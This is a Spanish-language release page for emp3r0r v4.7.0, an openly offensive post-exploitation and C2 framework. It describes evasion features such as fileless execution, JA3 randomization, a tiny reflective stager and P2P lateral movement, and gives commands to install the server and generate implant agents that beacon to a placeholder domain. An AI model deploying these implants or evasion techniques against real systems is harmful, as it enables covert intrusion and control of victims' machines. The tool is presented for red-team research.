Volver a actualizaciones
Nuevo releaseJul 24, 2026

emp3r0r v4.7.0

Auto‑recuperable Gossip Mesh C2 con Descubrimiento de Pares Asistido, Ejecución BOF Multiplataforma y Agentes Programables.

Compartir
emp3r0r

emp3r0r

C2 de malla Gossip autocurable con descubrimiento de pares asistido, ejecución de BOF multiplataforma y agentes scriptables.


Discord GitHub Sponsors

GitHub go.mod Go version Tests GitHub License GitHub release


emp3r0r

¿Qué es emp3r0r?

emp3r0r es un framework avanzado de post-explotación y sistema de comando y control (C2) de confianza cero, diseñado para entornos objetivo Linux y Windows. Construido desde cero para operar en entornos de alta seguridad, emp3r0r combina redes de malla Gossip autónomas, ejecución sin archivos solo en memoria, carga de BOF multiplataforma, transferencia de archivos entre agentes y agentes scriptables en memoria para ofrecer una discreción, control operativo y seguridad operacional (OPSEC) superiores.


Destacados y características únicas

🐍 Agentes scriptables (motor Starlark integrado y proxy de API Win32)

Los agentes de emp3r0r incorporan un motor de scripting Starlark (un dialecto de Python implementado puramente en Go). Los scripts se ejecutan sin archivos en memoria, sin requerir Python, Bash o PowerShell instalados en el objetivo.

  • Cero dependencias del host: ejecuta scripts independientes sin lanzar intérpretes de comandos (/bin/sh, powershell.exe) ni depender de runtimes instalados.
  • APIs de Go integradas en el agente: funciones expuestas para operaciones del sistema de archivos (read_file, write_file, list_dir, mkdir, remove, exists), redes HTTP (http_get, http_post), ejecución de comandos (exec_cmd) y hash (crypto_hash).
  • Proxy dinámico de API Win32: en objetivos Windows, los scripts Starlark pueden cargar dinámicamente DLL del sistema y ejecutar APIs nativas de Win32 (win_call, win_alloc, win_free, win_read_mem) directamente desde el código del script, sin compilar código C nativo.
  • Integración modular: los scripts Starlark se definen mediante manifiestos JSON (config.json) para un análisis y distribución fluidos de parámetros CLI.

Por qué es importante: los módulos de script de los C2 tradicionales requieren intérpretes del host o el lanzamiento de procesos, dejando rastros pesados en disco o en la línea de comandos. Los agentes scriptables de emp3r0r ejecutan lógica compleja enteramente en memoria con interacción nativa con el sistema.


🔐 Fijación de identidad criptográfica TOFU

emp3r0r aplica Trust-On-First-Use (TOFU) con fijación estricta de UUID y clave pública en el momento del enrolamiento del agente.

  • Vinculación inmutable: una vez enrolado, el UUID de un agente queda fijado a su clave pública criptográfica. El re-enrolamiento con credenciales alteradas se rechaza como intento de suplantación.
  • Restablecimiento controlado: la baja requiere autorización explícita del operador mediante forget_agent.

Por qué es importante: previene el secuestro de sesiones, la clonación de agentes y la deriva silenciosa de identidad entre entornos operativos.


🔒 Secreto perfecto hacia adelante (PFS)

Todas las comunicaciones del C2 y entre pares aplican intercambio de claves ECDH con claves de sesión derivadas de HKDF.

  • Claves efímeras: cada sesión genera claves de cifrado únicas.
  • Seguridad desacoplada: comprometer las claves a largo plazo o a un agente individual no puede comprometer comunicaciones pasadas o paralelas.

Por qué es importante: previene el descifrado retrospectivo de capturas de red interceptadas.


🕸️ Red de malla Gossip P2P autónoma

Los agentes en segmentos de red con restricciones de salida o aislados descubren pares de forma autónoma y tunelizan el tráfico mediante una red de malla Gossip (basada en Memberlist).

  • Transportes de pares conectables: soporte para mTLS 1.3 de camuflaje (con certificados efímeros) y KCP (UDP fiable).
  • Cifrado de extremo a extremo: todos los saltos de la malla entre agentes están envueltos en cifrado AES-GCM.
  • Baja huella de red: el retransmisión directa entre agentes elimina el ruido innecesario de difusión y los puntos de estrangulamiento de conexión centralizada al C2.

Por qué es importante: el movimiento lateral entre redes segmentadas se produce de forma autónoma sin requerir intervención constante del operador ni configuraciones estáticas de proxy.


📂 Sistema de archivos P2P

Intercambio de archivos directo entre agentes mediante transporte de retransmisión P2P (mTLS/KCP) para acelerar la entrega de archivos en redes internas.

  • Túneles P2P cifrados: transfiere a través de pares usando mTLS/KCP para evadir las restricciones de salida y reducir los cuellos de botella de ancho de banda del C2 central.
  • Caché inteligente de archivos en memoria: los archivos se almacenan en caché en la memoria del agente como blobs cifrados; pueden servirse sin problemas para que otros agentes los descarguen bajo demanda. Al solicitar un archivo, los agentes consultan primero su memfs local, luego a otros pares y finalmente al C2.
  • Retroceso automático de retransmisión C2: si un par objetivo no tiene el archivo solicitado, lo obtiene y lo transmite dinámicamente desde el servidor C2 bajo demanda.

Por qué es importante: el intercambio directo de archivos entre agentes maximiza la velocidad de transferencia, evita los puntos de estrangulamiento de red y reduce la visibilidad del tráfico directo al C2.


📡 Listeners y stagers multiprotocolo

Stagers de descarga Stage 0 y listeners de protocolo flexibles para el acceso inicial y la entrega de cargas útiles.

  • Listeners multiprotocolo: listeners HTTP, TCP y UDP integrados y autónomos con entramado fiable de confirmación de secuencia y perfiles HTTP personalizables.
  • Stager de descarga C autónomo: construido con syscalls de Linux directas e independientes de libc para compatibilidad entre distribuciones sin errores de símbolos.
  • Tamaño de carga útil mínimo: mientras que los binarios del agente emp3r0r ocupan ~20MB sin compresión, este stager está por debajo de 1.5KB; la carga útil tipo sRDI que obtiene del listener de emp3r0r es de ~8MB (comprimida a partir del binario del agente en formato objeto compartido ELF).
  • Formatos flexibles: se compila como shellcode crudo independiente de posición (.bin), ejecutables ELF autónomos u objetos compartidos (.so).
  • Endurecimiento en memoria: asigna la memoria de stage con permisos de lectura-escritura, desofusca las cargas útiles y aplica lectura-ejecución antes de ejecutar reflectivamente el Stage 1.

🧩 Soporte nativo de BOF multiplataforma (COFF y ELF)

Ejecuta módulos binarios en memoria tanto en objetivos Windows como Linux:

  • Cargadores COFF para Windows: ejecuta binarios BOF de Windows sin archivos con empaquetado de parámetros tipados (int, short, cstr, wstr, binary).
  • Cargadores de objetos ELF para Linux: carga archivos objeto reubicables ELF (.o) directamente en la memoria del agente en Linux.
  • Suites BOF incluidas: soporte integrado para las colecciones de módulos Kerbeus-BOF, Remote-OPs y Situational Awareness (SA).

Por qué es importante: elimina la sobrecarga de creación de procesos y evita la monitorización de la línea de comandos al ejecutar módulos C compilados dentro del proceso.


🎭 Transporte C2 conectable, evasión de JA3 con uTLS y protocolo CBOR

  • Modos C2 conectables: beaconing flexible (http_poll) con perfiles HTTP maleables y transmisión (h2conn) sobre HTTP/2.
  • Aleatorización de la firma JA3: utiliza uTLS para aleatorizar las huellas de Client Hello de TLS, derrotando las firmas de red estáticas.
  • Protocolo de cable binario: usa CBOR (Concise Binary Object Representation) para todos los datos de control y la serialización de red, reduciendo el tamaño de las cargas útiles de red en un 30-40% en comparación con JSON.

💾 Almacenamiento cifrado con prioridad de memoria

  • Sistema de archivos virtual cifrado en memoria: todas las operaciones de archivo del agente usan un sistema de archivos virtual AES-GCM en memoria. Los datos grandes se vuelcan automáticamente a almacenamiento en disco cifrado sin cabeceras ni extensiones identificables.
  • Caché inteligente impulsada por P2P: cada agente habilitado para P2P almacena en memfs los archivos que obtiene del C2 y los pone a disposición de otros pares, minimizando la huella de tráfico del C2 y aprovechando las rápidas conexiones entre agentes.

Inicio rápido

1. Instalación del servidor C2

Para compilar emp3r0r se necesita Docker o Podman en el host. No se requiere cadena de herramientas Go local.

# Clonar el repositorio
git clone --depth=1 https://github.com/jm33-m0/emp3r0r.git && cd emp3r0r

# Compilar dentro de un contenedor e instalar localmente
./install.sh

El instalador compila los binarios principales dentro de un contenedor desechable, genera el emp3r0r-operator-kit.tar.zst precompilado, configura las capacidades Linux requeridas (setcap) y prepara los directorios de runtime del sistema.

Opciones:

./install.sh [--debug] [--disable-garble] [--prefix /usr/local] [--skip-build]

Lanza el servidor C2:

emp3r0r server --c2-hosts 1.2.3.4 --http-port 12345 --operator-port 13377

Nota: si se instala con el usuario root en lugar del sudo estándar, es posible que tu usuario actual no pueda lanzar emp3r0r porque el instalador no puede establecer los permisos correctamente. Lo mismo aplica a tus máquinas de operador.


2. Configuración de la máquina del operador

Transfiere el emp3r0r-operator-kit.tar.zst generado a tu máquina de operador y ejecuta el instalador:

tar --zstd -xpf emp3r0r-operator-kit.tar.zst
cd ./emp3r0r-operator-kit && ./install.sh

Conecta el cliente del operador al servidor C2 usando las credenciales del túnel WireGuard impresas por el servidor:

emp3r0r client --c2-port 13377 \
  --server-wg-key '<SERVER_WG_KEY>' \
  --server-wg-ip '<SERVER_WG_IP>' \
  --operator-wg-ip '<OPERATOR_WG_IP>' \
  --operator-wg-key '<OPERATOR_WG_KEY>' \
  --c2-host 1.2.3.4

3. Generar cargas útiles de agente

Usa el comando generate dentro de la interfaz del operador de emp3r0r para crear cargas útiles.

Agente C2 directo:

generate --type linux_executable --arch amd64 --cc your.domain.com

Agente puerta de enlace de malla:

generate --type linux_executable --arch amd64 --cc your.domain.com \
  --p2p --direct-c2 --p2p-transport mtls

Par intermedio de malla:

generate --type linux_executable --arch amd64 --cc your.domain.com \
  --p2p --p2p-transport mtls --peers 1.2.3.4

Documentación y recursos


Apoya el desarrollo

Si emp3r0r ha demostrado ser valioso en tu investigación y pruebas de seguridad, considera apoyar su desarrollo continuo mediante GitHub Sponsors.

Categorías